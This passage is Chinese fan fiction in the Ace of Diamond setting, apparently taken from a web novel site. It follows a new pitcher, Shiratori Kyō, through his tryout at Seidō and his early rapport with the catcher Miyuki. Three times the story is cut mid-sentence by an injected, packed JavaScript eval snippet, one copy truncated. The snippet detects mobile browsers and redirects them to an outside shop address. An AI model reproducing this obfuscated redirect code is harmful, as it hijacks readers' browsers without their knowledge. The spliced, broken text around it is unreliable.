《[钻石王牌]棒球场生存指南》 1. 泥土气 夏日、蝉鸣、泥土气。 伴随着烈日下扭曲的空气,又一代棒球儿的夏天结束了。 “哈……咳咳咳!可恶……”满含疲惫与不甘的泪水混合着汗水滴落在泥地里,透明的液体因泥沙变得混浊、最终消失不见。 天旋地转间他跪趴在投手丘上。 耳鸣一阵响过一阵,随后涌上心头的竟是连自己也也未曾预料到的解脱。 *** 一年春,那是樱花缀满枝头的日子,新生们带着满满的期待与热情伴随着和风飘落的花瓣踏入高中的新生活。 白鸟正是其中一员。 因为父亲职位调动等原因他离开了东京三年,日新月异的日本首都令如今的他感到十分陌生。从家至学校的路上,他一度对自己的决定感到怀疑,但等到终于站在青道高中大门口时,那些乱七八糟的想法尽皆消失了。 耳边似乎又响起了曾在棒球赛场上听到的那震撼人心的口号,白鸟攥紧肩上的挎包背带,迈步踏了进去。 社团招新的摊位夹道相迎,社员们卖力吆喝着,花花绿绿的横幅海报宛如春日的繁花盛景,将场地衬的更加热闹。 每年新生入学总会有这一出。 日本高中的社团文化是人生组成的重要部分。你将经历怎样的高中生活?交到怎样的朋友?这些问题的答案在你选择社团时,就已经初见分晓,有时候比起同班同学,社团的朋友才是陪伴你高中生涯最长的人。 不过,这些让人眼花缭乱的摊位里却并没有白鸟最期待的,青道高中的王牌社团——棒球部。 白鸟的目标向来只有那一个。见此,他不欲停留,匆匆挤过人群。 “同学!戏剧社要看看吗?同学?”戏剧社忙活着招新的学长只能眼睁睁地看着白鸟瞬间就只剩下了一个小小背影,淹没在人群里。 待嘈杂的声音渐渐被抛至身后,白鸟松了口气,开始寻找自己的班级。 也许是因为大部队都被社团招新摊位绊住,走进班级时里面的人寥寥无几,大片空着的座位等着他选择。白鸟找了个靠近窗户的座位放下自己的包,在之后的一年里这就是属于他的位置了。 窗外是枝花摇曳的樱云,簌簌飘落似细雪,天空一碧如洗,如此好景色,似乎能让人的心情都变得晴朗起来。 白鸟撑着下巴看着窗外出神,对于即将到来的高中生活,他心中有着无法言说的忧虑,沉甸甸的情绪淤积在心里,景色带来的好心情,转瞬就消散了。 新生入学典礼和自我介绍没什么好说的。 课间他抽空去交了一份棒球社的入团申请。因为青道的棒球社的申请单必须填上曾经的棒球经历,他不得不在上面写下了几个让他觉得不快的字眼。 好不容易等到午休,在其他人忙着和结交的新朋友一起吃午餐时,白鸟却一路往棒球场的位置走去。 青道棒球社占地面积很大,作为王牌社团,他们拥有两个室外球场,一个室内球场,健身房、专属食堂等各种设施。 青道棒球社并不强求社员住宿,但白鸟已经决定好要入住青心寮。因为比起住在家里,他更想和志同道合的同龄人住在一块,这也能让他更快融入青道棒球队。 走着走着白鸟接近了其中一个室外棒球场,里面只有零星的后勤人员在清理球场。想的也是,现在是午休时间,再怎么管理严格训练艰苦,也不至于让部员在午休时间训练。 明天才是除特招外新入部的成员加入棒球社的时间,他隔着铁丝网带着期盼与希冀凝视着熟悉又陌生的球场。 已经接近一年时间没有真正站在棒球场上了,以为自己已经忘记的,却在此刻汹涌地溯流而上。 “好想投球啊……” *** 次日,棒球训练场上,清晨微妙的凉意笼罩在所有人身上,新入部的成员们规规矩矩按照身高站成了几列。 加入青道棒球社的人并没有白鸟想象中多。 但思考一下也能明白是为什么。 将棒球当做业余兴趣的人不会加入青道棒球社这种训练严苛宛如军队的社团,而想打出成绩的人则对于青道高中没落豪强的名头有所顾虑。 东京是完完全全的激战区,东京的棒球豪强高中里——稻城实业高中、市大三高校与帝东高校,这三所近几年有进入甲子园实绩的高中,对于有心想走专业棒球道路或者将甲子园作为毕生梦想的棒球儿们来说是更好的选择。 白鸟扫了一眼新生们,没有“老熟人”令他微微松了口气。 他放松心情,站在队列中垂目倾听着新生们的交头接耳,因为早起稍显困顿的精神因为其中一个话题而迅速清醒,注意力迅速就被其中一点吸引了。 “江户川少棒的捕手御幸一也……” “嗨!” 身边突然响起一声应答,让只是下意识呢喃的白鸟吓了一跳,头发都差点炸起。他飞速转头看向身侧,正对上一副黑框眼镜。 那眼镜凑近,粗黑的眉毛微扬,镜片下的金棕色眼睛盯着白鸟,闪烁着狡黠的光芒:“我就是你说的御幸一也。呐!你是投手吧?” 白鸟茫然地看着这个突然搭话的人,闻言迅速回神,微微退后半步:“是的。” 看见这反应,戴着黑框眼镜眉目英俊的少年扬起了嘴角,自豪又臭屁地龇牙笑道:“哈哈我就知道。” “你怎么看出来的?”反正肯定不是因为在比赛里见过,白鸟略有些好奇地问道。 江户川少棒是东京有名的队伍,当年他离开东京跟着父母在大阪居住时为了继续打棒球加入了大阪的青少棒,但他们的队伍两年都没能打进全国大赛。 第三年因为某些糟糕的事情他甚至直接退出了球队。 在比赛时,他从未与御幸的队伍遇见过,只是在他人的言语中偶有耳闻那些天之骄子的风采。 自称御幸一也的家伙扫了一眼白鸟的手:“这是身为捕手的直觉。” 白鸟眨眨眼睛,没说信也没说不信。 “我叫白鸟京,确实是一个投手。初次见面御幸君,以后请多指教。”白鸟礼貌地向对方问好。身为同一年级的投捕,以后大概率会有许多时间要在一起训练,要是能搞好关系就好了。 御幸推了推眼镜,镜片闪过一道白光:“请多指教,话说白鸟君……” 白鸟的耳朵动了动,打断了御幸的话,压低声音道:“监督他们来了,等会儿再聊。” 御幸一愣。 半分钟后,脚步声从训练场外响起,监督带着棒球部的部长们和那些二三年级的棒球社选手们走了过来,跟着监督走在最前面的无疑是青道棒球社的正选们。 清凉的空气随着他们的走近逐渐变得炽热,带着凶神恶煞表情的前辈们在戴着墨镜宛如□□头头的青道监督——片冈铁心的带领下站在新生面前,惊人的压迫感让新生们迅速安静。 和新生们不同,棒球社的前辈们经过千锤百炼,大多都拥有一副健壮的体魄,他们犀利的眼神不善地扫视着新生,简直像站在头领背后的一群打手。 和在观众席看比赛时不同,青道棒球队的成员们实际给人的感觉是不是有些微妙的偏移? 片冈监督学生时代也曾是青道棒球社的一员,他作为绝对的王牌投手带领棒球队豪夺甲子园准优胜,据说大学毕业后他拒绝了职棒的邀请,执意回到青道接任恩师的位置做起了监督。 作为监督,他长了一张分外严肃的脸,只是眼神一扫甚至没有说话,新生们就紧张地挺直了身子。 学长之一的伊佐敷纯也是凶神恶煞中的一员,他下巴上留着小胡子,看着新生们战战兢兢的样子,哼了一声,小声对着旁边的小凑亮介道:“听说今年的一年级里,只有一个江户川的捕手比较有名气,看样子生源和我们那一届差不多嘛!” 小凑亮介个子娇小有着柔软鲜亮的粉色头发,他笑眯眯的,与伊佐敷完全不是一个画风,但那张笑脸仔细看总觉得令人发毛:“嘛~谁知道呢。” 自青道的老监督榊监督离职,片冈铁心接任监督后,青道已经好几年没有打入过甲子园,成为了媒体口中没落的豪强。学校名声如此,生源自然也不会太好,伊佐敷他们那一届更是因为只有一个克里斯出彩,入部人数也很少,被好事者称为青道的歉收年。 如今,新一届的棒球生入队,似乎有历史重演的倾向,他们心中实在五味杂陈。 新生们自然不会知道这些前辈们在想什么,紧张过后纷纷用激动、敬畏的目光注视着例行训话的片冈监督。 “我是你们的监督,片冈铁心。首先,欢迎你们选择青道。” “高中棒球与初中棒球截然不同,既然来到了这里,我希望你们做好准备,放弃初中的一切实绩,以崭新的面貌迎接高中即将到来的挑战。”片冈扫视着这群稚嫩的孩子,墨镜下的目光严厉。 “现在,开始进行自我介绍,从第一排开始,由左向右。” 第一个自我介绍的新生磕磕绊绊的说了几句后一脸懊恼地闭上了嘴,看起来对自己的表现很不满意。 白鸟沉静地立于队列中,他有些轻微的脸盲,就算认真听完所有的自我介绍也几乎对不上几个人名,久而久之就对这一环节提不起什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674034|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么兴趣。 很快就轮到了白鸟。 他一步向前,目不斜视:“我叫白鸟京,希望守备的位置是投手,以上。” 短短一句话,他便返回了队列。 这反而引起了大家的瞩目,不如说其实有不少人都在明里暗里关注白鸟,180cm左右的身高,修长的四肢,雪白的发色与黄金般熠熠生辉的眼睛,如果不是知道自己在青道的训练场上,乍一看,还以为自己误入了什么电影拍摄现场。 这张顶级池面脸,着实引人注目。 旁边御幸一步踏出,好家伙,又是一个帅哥,有几个高年级学长脸都扭曲了。 “喂,村田,今年的青道新生到底是来打棒球还是来选秀的?”三年级的右外野手加藤太郎黑着脸,咬牙切齿地问道。 三年级的游击手村田光懒洋洋地扯扯嘴角:“呵呵,看看你自己不就知道了。” 加藤的脸部表情顿时更加扭曲,本来就残念的脸一下子更残念了:“你到底是我们这边的,还是对面那边的?” 村田光翻了个白眼,懒得搭理身边这个因为嫉妒学弟而无理取闹的家伙。 青道如今的王牌投手柴崎翔一则默默注视着新生中说自己是投手与捕手的那几个,看不出在想什么。 正捕手泷川.克里斯.优则温和地注视着白鸟和御幸。他们两个,一个是昨晚刚搬进宿舍的新室友,一个是初中时名气不小的捕手后辈。 克里斯是个混血儿,他身材高大,眉目深邃,与御幸一样都是国中时就响誉全国的天才捕手,在高中活跃时更是名声大噪,有“东京都第一铁捕”之称。 能在高一就拥有东京第一的称谓,可想而知克里斯作为捕手的资质有多出类拔萃。白鸟之所以决定来青道,原因之一正是因为克里斯这个名捕手的存在,遇见御幸则是意外之喜。 待人全部自我介绍完,等待着这些新入部成员的是跑步热身和基础测试。 因为刚刚在队列里的交流,白鸟与御幸自然跑在了一起。 “白鸟君你的听力很好?”御幸边跑边兴味地问道,刚刚在白鸟提醒他监督即将过来时,周围都是同级生们的交谈声,他可一点都没注意到监督们的脚步声,还以为是白鸟不想和他说话的托词。 白鸟点头:“叫我白鸟就行了,我天生耳力还不错,刚刚列队时御幸你想问什么来着?” 御幸“啊”了一声,装模作样回忆了一番,问道:“等会儿投手测试我能去围观吗?” “当然可以。”白鸟爽快的答应了。不过这种测试大家想看都能看吧,总觉得御幸刚刚想问的不是这个。 新生测试主要就是打击、守备和跑垒,白鸟的打击名列前茅,守备也很熟练,跑垒速度中规中矩。 虽然自我介绍时没说,但他也是少棒、青少棒出生的球员,基础自然不会弱。 之后就是备受期待的远投测试和投手测试。远投测试是所有人都要参加的,毕竟无论是捕手、野手还是投手,都有投球需求。 而投手则不仅要有速度还要有一定的控球。 “吉野秀中,73米。” “下一个,白鸟京!” 白鸟站上测试点,拿起地上的防滑粉包仔细的让其布满手掌,细腻的白色粉末在空气中飞扬,他扔下防滑粉包表示自己准备好了,便接过助教递过来的棒球。 因其自我介绍时报的守备位置是投手,也因其站在那里时莫名的气势,此刻球场上聚集在他身上的视线众多。 有些人只是站在那里,就有足够令人警惕的威慑力。 御幸抱臂站在一边,眼镜闪过一道白光,心中暗暗期待。 握着熟悉的棒球,感受着周围的视线,白鸟心中有些感叹,他注视着前方,金眸在阳光下璀璨的就像黄金熔铸,举球抬腿,那是标准的右投高肩的投球姿势,动作熟练利落,漂亮的就像教科书一般。 白鸟吐出一口气,脚用力踏下,手臂如鞭般甩出,破空声响起的瞬间,棒球化作一道白光瞬息间穿越空间。 直到其砸网上,发出巨响,然后弹跳着滚远,周围人都不发一语。他们呆愣地看着这一幕,久久回不过神。 不知是谁先大叫出声,喧哗声霎时响彻。 “好、好远!” “这得有多少米啊,而且好快!” “火球投手吗?!真的假的?” “有测速枪吗,刚刚那球的速度是多少?” 测试员也惊呆了,他磕磕绊绊道:“1、120米以上,白鸟京,120米以上!” 顿时,周围议论声更加嘈杂。 2. 投捕 白鸟离开本垒板处,微微皱了下眉头,倒不是对自己的成绩不满意,是周围突然变大的声音让他有些不适。 余光瞥见双目放光看着自己的御幸,白鸟微微翘起了嘴角。 一直关注着这里的片冈监督快步走近:“白鸟京是吧,你知道自己的投球最高速是多少吗?” 白鸟面对监督礼貌地回答道:“两个月前的测试,大概是153KM左右。” “现在跟我来牛棚,克里斯你来接他的球。”片冈监督雷厉风行地命令道。 “是!”克里斯激动地看着白鸟,没想到这个同宿舍的学弟给了自己一个大惊喜啊。 因为白鸟球速不低,也不知道控球如何,克里斯穿好了全套捕手护具才进了牛棚。 投球前,捕手和投手肯定要沟通清楚。 “不要紧张,你的控球怎么样,会变化球吗?”克里斯温和地问道。 白鸟眼睛亮晶晶地看着克里斯,没想到刚进青道就能让克里斯前辈为自己蹲捕。 他抿了抿唇,努力抑制了一下自己有些激动的心情:“我目前全力投球的话,进好球带的成功率很低,如果控制一下球速降低到145KM左右,可以准确投进四宫格,九宫格则有些不太稳定。” “变化球的话,我只会二缝线和滑球。” 克里斯有些吃惊,这完成度能是刚进高中的投手的实力吗?若是真的,数据比他们的王牌投手都更厉害。 “等会儿投球的时候我们都试一遍,就不用暗号了,我会在本垒板处直接call球。” 克里斯拍了拍白鸟的肩膀,饱含期望道:“加油!” “嗯!”白鸟坚定地点了点头,他也知道,这次测试相当关键,青道的投手阵薄弱已是共识。首次亮相,只要拿出让监督另眼相看的实力,就能得到青道的倾力培养。 看着克里斯前辈回到本垒板处带上面罩,监督就在旁边观看的事实,让白鸟的肩膀有点紧绷,但很快他就强迫自己放松了下来。 两人试投了几球后。 “白鸟,正中心直球!不用刻意控球,全力投进来!”克里斯拍了拍手套,摆了个红中的位置,鼓励地注视着白鸟。 白鸟握住棒球,伸臂,还是和当时远投测试一样漂亮标准的投球姿势,看得出来经过系统的训练与刻苦的努力,片冈监督微微点头。 一道白光闪过,“碰”的一声巨响! “那是什么声音……” 围观众人面露愕然,新生们一片死寂,其中一些同样是投手的,更是面色惨淡,想要和这种家伙竞争同一个位置……开什么玩笑! “好球!”克里斯手套里的手被震的发麻,小球在手套里左突右撞,好不容易才安分下来,克里斯靠着过硬的捕手能力将这球牢牢控制在手套中。 他激动地站起身将球扔回给白鸟。 片冈监督转头问身边拿着测速枪的助教:“球速有多少?” “151KM/S!” “我的天呐……是我在做梦吗?现在的新生这么离谱吗?” “而且长得也帅,给不给人活路了……” 牛棚边的御幸眼神炽热地望着白鸟,下意识挺直了脊背认真观察着投手的动作。 光速球投手可遇不可求,尤其白鸟还是个刚刚入学高中的年纪,让人不由得期待起经过高中棒球的磨砺他究竟还能进化成什么样子。 没想到拒绝了成宫鸣来到青道还有这样的惊喜等着他。 克里斯再次蹲下,将手套摆到正中间的位置,目光灼灼地望向白鸟,他同样被这质量极高的一球击中了心脏。蹲捕的他看见的东西比其他人更多,这一球不仅速度快,转速也高,因此球的下坠很轻微,宛如一颗子弹。 能够做到这一点,说明白鸟的肩膀胳膊手腕都很柔软,这是其与生俱来的天赋,很难通过训练达到这种程度。 怪不得白鸟明明体格不算健壮却能够投出球速如此高的直球。 “这一次放慢一点速度,调整一下控球。” 感受到捕手投注的期待,白鸟的眼神有一瞬间的闪躲,不过因为大家都还沉浸在刚刚的震惊里,没人发现这点异样。 白鸟深吸一口气:‘冷静。现在是克里斯前辈在蹲捕,安心发挥实力就行了,不要去想那些已经过去的事了。’ 他看着那只手套,将脑中的杂念甩至身后。只要投进去就行了。感受着手中棒球粗糙的缝线,白鸟握紧棒球抬腿扭身,一道白光从掌中射出,飞速越过十几米的距离,灵巧轻盈地没入捕手的手套,发出与感受到的轻灵截然相反的巨响。 在白鸟京手中,他仿佛给棒球赋予了生命,明明都是投球,不同的投手却能给棒球赋予完全不同的魅力,这便是晋升顶级投手行列的敲门砖,而白鸟无疑已经半只脚踏进了这条赛道。 而这一点,片冈监督和两个天赋惊人的捕手都感知到了。 片冈监督双手紧握,如果白鸟京的控球没问题,完全可以直接加入一军做现成的战力,刚刚的守备、打击、跑垒测试他也有关注,比起前辈们肯定显得稚嫩,但看得出来其基础相当坚实。 眼看着白鸟将球都投进了克里斯要求的位置,片冈监督再次询问身边的助教:“球速?” “147KM—150KM!” 几乎可以说拥有这样的球速球质,只要能投进四宫格,就已经可以在高中棒球界跻身一流投手。 高中的投手,大部分球速一般在135KM-145KM左右。只要超过145KM就是名副其实的火球投手。一般的打者只是面对这种球速与球威的直球便难以出手,更何况150KM的球。 投手丘到本垒板只有18.4米,150KM的球速进入捕手的手套只要0.4秒! 有球速球威,居然还有控球,真是天赋异禀的天才投手,难以想象这样的投手为何在国中毫无名气。 明珠蒙尘,令人心痛。 不过转念一想,如果白鸟京在国中便熠熠生辉,怕是也轮不到他们青道收获如此明珠,如此一来竟有些庆幸。 教练们复杂的心情另作他说,新生与学长们则纯粹就是羡慕嫉妒了。这种生来的天赋辉光,于他人而言不亚于刺向他们的利剑,在体育运动方面尤其如此,毕竟大部分人就算刻苦努力训练一辈子,也不可能投出150KM的球。 青道如今的王牌柴崎翔一羡慕又心酸,能有这样的学弟入学,他应该感到开心,他已经三年级了,再过半年就要离开棒球社了。这次夏甲是他们三年级最后的机会,明明这样能成为即时战力的新生入部,是让他们此次进入夏甲又增添了几分希望,他应该高兴才对。 但……更多的,还是如溺水般的窒息。 那种精神压力,难以言说。 克里斯测完控球之后已经大致明白了白鸟作为投手的完成度,作为投手生命线的直球,白鸟已经完全掌握并成功化作了属于自己的武器。 他和片冈监督想的一样,这种程度的投球作为武器,已经完全可以进赛场使用了。 “二缝线直球!” 片冈监督见已经开始测试变化球,便带上头盔面罩走到了捕手身后裁判的位置,这个位置是最方便观察变化球轨迹的位置。 白鸟微微变化了一下握球的动作和棒球的缝线位置。一样的直球出手轨迹,棒球却在临近本垒板时微微横移,不仅如此这球因为转速低还有下坠,是一颗几近完美的二缝线球。 片冈监督欣赏地点点头。 克里斯再次试了几颗二缝线,这颗直球系的变化球白鸟掌握的很好,球路赏心悦目,控球也很好,能投进要求的位置里。 “接下来是滑球!” 滑球有“变化球的王道”之称,是近代投手必备的球种之一,虽然球的变化幅度没有曲球大,但是球速却比曲球更快。 白鸟自认自己是个快速球投手,所以在曲球和滑球之间选择了滑球作为自己学习的第一个真正的变化球。 滑球的球路会像画出一道弧线般,前半段轨迹与直球相同,到靠近本垒板时会往右打者外角下坠,也就是由白鸟这个右投手投出会是由右向左的变化,与二缝线完全相反,并且变化幅度也更为剧烈。 能和二缝线相互配合,更好的迷惑打者,也是白鸟选择滑球的目的之一。 最好的滑球需要投手将其练的与自己的四缝线直球球速相差无几,白鸟还做不到这一点,但他的滑球也有属于自己的优势。 白鸟拿起防滑粉包掂了掂,然后吹了一下手中多余的粉末,他握住棒球摩挲了一下,其实他大概知道周围的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白鸟颔首,他高举双臂然后抬腿下踩,手臂因为柔软如鞭般挥出,这柔软的手臂就是赋予棒球这变态弧度的原因之一,白光如鸟振翅,真如赋予了棒球生命般,于本垒板处划出一道优美的弧形,没入克里斯的手套。 夸张的是,似乎就像刻意炫技,这道球路虽不似上次折射幅度夸张,却压的更低。 如果有打者站在左打席,就能发觉出这是擦着打者的膝盖,完美由6号9号好球区外坏球带边线跨越8号好球区,最后没入左打者外角下边缘的好球。 接到的瞬间,像在手套里炸开一道缤纷绚丽的礼花。克里斯眼中疲惫的底色下闪烁出动人的光彩,他望着白鸟,如同望着近在咫尺的登顶希望。 “Nice Ball!” 四缝线、二缝线、滑球,三颗球的动作与前期球路在白鸟状态好的时候能够非常相像,这是属于白鸟的特别天赋。 无论是极快的球速,还是球路的共轨,都极大缩短了打者的思考与观察时间。 而场边的御幸也分外激动,他看着投球的白鸟就像在看一颗在原矿中就已经显露光芒,熠熠生辉的宝石。 不仅是投手会追求优秀的捕手,优秀的投手对捕手也有着旺盛的吸引力。 他无比确信,无论是他还是克里斯前辈,此刻胸腔里都奔涌着对掌控这般「武器」的,近乎贪婪的渴望! 这一刻,御幸更加迫切地想要战胜克里斯前辈。不仅是为了争夺正捕的荣誉证明自己,更是为了能够亲手将这块无价的原石,磨砺成足以带领队伍称霸全国的、最锋利的武器! 但克里斯前辈实在是一个太过强大的对手。御幸虽自信但不自负,自然能清楚的明白自己此时与克里斯前辈之间的差距。 他悄悄叹了口气:“任重而道远啊……” “那家伙棒球基础这么好肯定也是某个少棒队的,这么厉害却从没见过,太离谱了吧?究竟是哪里冒出来的?” 新生们议论纷纷。 能够有勇气加入青道棒球部的大多都是一路从少棒、青少棒升上来的选手。他们从小时候开始就接受了系统的棒球训练,有天赋的家伙从那时就开始崭露头角。 青少棒也是有全国大赛的,他们自然了解对那些厉害选手的资料。 而白鸟京这个闻所未闻的厉害角色横空出世,自然十分令人惊奇。 高岛礼推推眼镜,眼中满是惊喜与疑惑,她作为副部长加球探,对青少棒球队的资料了如指掌,但此时却和新生们一样对白鸟京的面孔感到陌生。 不过无论如何,天降如此天资的投手,对青道而言真是一场及时雨。 3. 搭档 新生测试结束后,虽然片冈监督没有多说什么,但围观的众人都默认了白鸟京加入一军已经是板上钉钉的事情。 “呼……” 晚间训练结束之后的浴室内。 白鸟正站在淋浴下把自己一身黏糊糊的汗都冲洗干净,热腾腾的水稀里哗啦地浇在身上,酸痛的肌肉都因此得到了疗愈。 他的皮肤天生只会晒伤不会晒黑,所以身上并没有什么晒痕,薄薄的一层肌肉覆盖在少年因为个子拔得太快而显得有些单薄的身体上。 拿着洗发水往头上一挤,搓着搓着白鸟突然发现一股甜甜的花香扑鼻而来,他动作一顿,啊……拿错了。 白鸟家的沐浴用品都是统一采购的,只是味道不一样而已。 算了,无所谓。 白鸟洗完头发,搓完身体,打了遍沐浴露冲干净,便准备去泡澡。 “哇,怎么香香的。”身后传来熟悉的声音。 白鸟动作一顿,冲水的动作变得更快了。 “呀!是白鸟啊。” 转头就看见御幸向自己笑的灿烂。 说实话,才刚认识没多久就坦诚相见有点太超过了,还好淋浴间有格挡的小门,住宿生活原来要从这方面开始习惯吗? 小小的一间淋浴隔间自然无处躲藏,他只得转身看向御幸。 “高中训练真可怕啊,我的胳膊都酸的快抬不起来了。”御幸假意抱怨,实则心中松了口气。幸好没认错人,真是多亏了白鸟那头显眼的白色头发,在澡堂里没办法戴眼镜有够不方便的。 白鸟语塞,完全不知道该怎么在不着寸缕的情况下怎么和人聊天唠嗑。 御幸也不在乎白鸟没有回话,他自顾自进了白鸟隔壁的隔间打开花洒。 “白鸟国中是哪个青少棒球队的?没能和你打上一场比赛真的很可惜呀。”水声混合着御幸的声音传进白鸟耳朵里。 氤氲着白色雾气的澡堂一下子变得有些窒息,白鸟嘴唇动了动,到底没能说出那些一戳即碎的谎言:“我国中在大阪那边上学,球队没能进军全国,自然不会和你碰上。” “拥有这样的投球却没能进军全国……是因为捕手接不住球吗?” 白鸟的眼睛微微睁大一瞬,花洒落下的水珠汇成一股股水流蜿蜒过面颊,他拧上阀门:“不是。我也不是一开始就能投出这样的球的,没能进入全国只是因为实力不够,仅此而已。” 御幸微微一笑,最后的补充显得有点欲盖弥彰啊,不过没关系,过去终究只是过去。 “大阪啊……听说大阪的章鱼烧很好吃是真的吗?” 以为御幸还要询问球队的白鸟心里一松,跟着这个问题回忆起了除棒球外的大阪生活。 “确实好吃,神户牛肉也名不虚传,大阪烧味道非常大阪。” “那是什么形容啊……” 感觉到白鸟随着聊天渐渐放松下来,御幸把湿漉漉的、冲干净的头发捋上去露出笑意盈盈的眉眼。投手都是群心思细腻敏感的家伙,而作为捕手,自然要及时捕捉到他们的内心。 “我洗完了。”白鸟礼貌地告知一声,系上下半身的浴巾向着更里面的池子走去。 “啊,我马上就好!”御幸加快了动作,他又不是为了问这个才来搭话的。 同为投手的川上默默站在隔壁的隔壁的隔间,听着那两人的对话坚定起来,原来白鸟也是通过努力才变得这么厉害的,虽然同期有这么厉害的投手让他非常非常有压力,但是也不能因此就放弃啊! 一年级们是最后进澡堂的,池子里并没有高年级前辈在,气氛相对比较轻松。 新生们三三两两聊着天,话题基本上都围绕着今天的事情,而今天最出风头的无疑就是白鸟京了。 “这家伙到底哪里冒出来的?” “我怀疑他是国外回来的。” “美国?” “有道理啊!美国的大联盟可是棒球职业选手的圣地。就像克里斯前辈一样,白鸟可能也拥有一个职业选手父亲,所以才会这么厉害,真羡慕啊……” “你纠结这个干什么,反正你又不是投手,位置不冲突的情况下,我们的投手越厉害不就越好吗?” “也是哈哈哈幸好我不是投手,要不然得被打击死。” 大家嘻嘻哈哈的,看样子经过一天的训练已经熟悉了很多。 白鸟走进来时,有眼尖的看见了便抬起胳膊肘捣了一下身边的同伴。 让人意外的是,在投球时锋芒毕露,不自觉的吸引着大家的目光的人,现在看上去却很安静温和。 话题中心人物的到来让气氛冷了一瞬间。 白鸟就像没察觉到一样抬腿迈进池子里坐下,一股强烈的视线聚焦在身上的感觉让他下意识抬头与坐在自己对面的一个绿色头发的少年对视上。 “仓持君……是吧。”白鸟对他还是有点印象的,当时跑垒时仓持一鸣惊人,是所有新生中速度最快的那个,而且脸也有点眼熟。 “是啊,有什么事吗?”仓持脸色有些警惕,又有些别扭。 “我们是不是在进棒球部之前在哪见过?”白鸟有疑问就当即问了出来。 仓持脸色一黑,咬牙道:“我们当然见过,我们是同一个班的啊!”可恶这家伙是不是故意的,仓持大爷我长的很路人吗? 白鸟身体一僵,尴尬道:“不好意思,我有一点轻微的脸盲,不是故意的。” 仓持“哼”了一声,见白鸟态度真诚,便也不再计较。 御幸匆匆赶来,一点不见外的往白鸟身边一坐。 他的到来冲淡了略有点凝滞的气氛。 “刚刚你们在聊什么?”御幸的目光在白鸟和仓持身上转了一圈,有点好奇地问到。 白鸟:“原来仓持君是我的同班同学……” 御幸眨眨眼睛:“我也是啊,难道白鸟没有认出来吗?正因为认出了白鸟,我才会在队列时和你搭话啊。” 白鸟:“……抱歉。” 仓持闻言那是心气彻底顺了。 一直在偷听白鸟和御幸聊天的几人也发觉了,白鸟并不如看上去那样难以接近。脸盲,原来看上去高贵冷艳的天才也有不擅长的事情。 泡完澡后,身体热腾腾的,感觉一天的疲惫都被治愈了。 “所以没关系啦,泡完澡我感觉已经好了。”御幸站在宿舍门口看着跟过来的白鸟说道。没想到白鸟还记着他说的肌肉酸痛,主动提出需不需要帮他按按。 他虽不知客气为何物,但是也不至于让今天和他一样疲惫的投手来给他服务。 白鸟点点头,两人宿舍离得还挺近的,都在二楼。 既然御幸说不用了,他自然也不会强迫别人接受,道别之后转身就想回到自己的宿舍,却被一把抓住了手臂。 “?”白鸟回头,眸中泛出一点疑惑。 御幸看着白鸟的眼睛,笑着问道:“白鸟知道我是个捕手吧?” “当然了,御幸你在国中很有名的。”白鸟有些莫名,这是什么问题,就算之前不知道,早上不是刚自我介绍过吗? “之后,让我来接你的球吧。”御幸把这句话说的像是什么宣誓。 他定定地注视着白鸟那双金色的眼睛:“之前在牛棚看见你投球的时候,我就在想,如果当时蹲捕的人是我就好了。” “虽然现在的我和克里斯前辈还有不少差距,但我一定会打败克里斯前辈,到时候让我们成为最强的投捕搭档吧!” 瞳孔震颤中白鸟下意识想退后拉开距离,却因被牢牢抓着手臂而动弹不得。 从来没有捕手对他说过这样的话。 想和他搭档,想接他的球……真的吗?明明他只是“消耗局数的武器”、“无聊的投球”、“只会蛮力的家伙”? 御幸一也……白鸟困惑又茫然。 不对吧,这家伙是这么积极进攻的人吗? “莫西莫西,白鸟君~可以吗?”视野里突然窜出个人脸,御幸弯腰把自己的脸硬塞进了投手的目光里。 白鸟看了看被握住的手臂,只能囫囵点头:“我明白了。” “太好了哈哈。”御幸龇牙笑。 白鸟看着对方的笑脸有点无奈,心中升腾起点点喜悦。这样的话,他的高中社团生活也算是踏出了很好的第一步吧。 御幸看着松开手后逃也似得飞速离开的白鸟京,摸了摸自己的下巴沉吟片刻。 嗯……果然他还是很在意啊。 在头一天,御幸身为捕手的自觉就让他把青道目前有实力的投手都观察了个遍。 三年级的王牌柴崎翔一是个严肃认真,规矩到像是有点强迫症一样的投手,常任中继的投手是三年级的水谷拓海,水谷前辈性格颇有些傲气,几乎不会主动找学弟说话。 二年级投手则只有一个丹波光一郎,听说与其高大的个子和不好惹的脸截然相反,个性相当敏感害羞。 而同期的投手除了一鸣惊人的白鸟京,还有一个川上宪史,其作为左侧投很有特色,似乎是由棒球部的部长特招来的,就是性格和丹波前辈有点像,害羞、没什么存在感。 白鸟嘛……横空出世的家伙,作为速球派,控球意外的让人惊喜,变化球中的滑球更是惊艳,明明投出的球如此锋芒毕露,性格却很温吞……不,与其说是温吞,不如说是感觉不到什么太大的情绪起伏。 就像他那双如太阳般金色的眼睛,明明颜色如此璀璨,望进去却像干涸的河床,很多情绪都被埋在泥泞里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674036|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 投手都是微妙且敏感的生物,他可不觉得白鸟表现出来的就是全部了。 以捕手的直觉来讲,白鸟是那种如果你想和他建立一种浅显的友好联系会觉得他很好相处,但如果要深挖他的内心…… 哇……其实是最难搞的那个也说不定呢? 